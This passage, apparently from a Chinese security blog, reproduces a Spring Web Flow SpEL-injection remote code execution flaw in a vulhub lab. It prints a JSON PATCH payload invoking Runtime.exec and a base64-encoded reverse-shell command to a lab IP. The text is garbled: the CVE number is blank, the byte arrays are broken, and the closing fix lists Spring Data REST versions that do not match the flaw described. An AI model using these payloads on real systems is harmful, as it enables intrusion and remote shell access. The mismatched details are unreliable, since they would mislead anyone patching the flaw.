安全防护
1.使用1.0.x版本的用户应放弃在认证通过和错误这两个页面中使用Whitelabel这个视图。2.使用2.0.x版本的用户升级到2.0.10以及更高的版本
因为对java不是很熟,所以没有对底层原理进行分析
2.SpringWebFlow框架远程代码执行(CVE--)
漏洞简介
SpringWebFlow是Spring的一个子项目,主要目的是解决跨越多个请求的、用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力。
SpringWebFlow是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其2.4.x版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
影响版本
SpringWebFlow2.4.0-2.4.4
触发条件
MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值)
flowview对象中设置BinderConfiguration对象为空
漏洞复现
开启漏洞
点击login
可以看见这里有很多默认的用户名密码,随便选一组登录系统
然后访问id为1的酒店 {"op":"replace", "path":"T(java.lang.Runtime).getRuntime().exec(newjava.lang.String(newbyte[]{,,,99,,32,47,,,,47,,99,99}))/lastname", "value":"vulhub" }]
成功写入:
反弹shell的poc,先进行base64编码:
bash-i/dev/tcp/.../bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}
{base64,-d}
{bash,-i}98,97,,,32,45,99,32,,,99,,,44,89,,70,,97,67,65,,97,83,65,43,74,,65,,90,71,86,50,76,51,82,,99,67,56,,79,84,73,,77,84,89,52,76,,69,51,77,,52,,77,,77,,77,84,73,,78,67,65,,80,,89,,,,,98,97,,,54,52,44,45,,,,,98,97,,,44,45,,
写入poc,成功反弹。
安全防护
升级到以下最新版本:
SpringDataREST2.5.12,2.6.7,3.0RC3
SpringBoot2.0.0.M4
SpringDatareleasetrainKay-RC3
对于该漏洞底层原理分析的文章可以参考这一篇: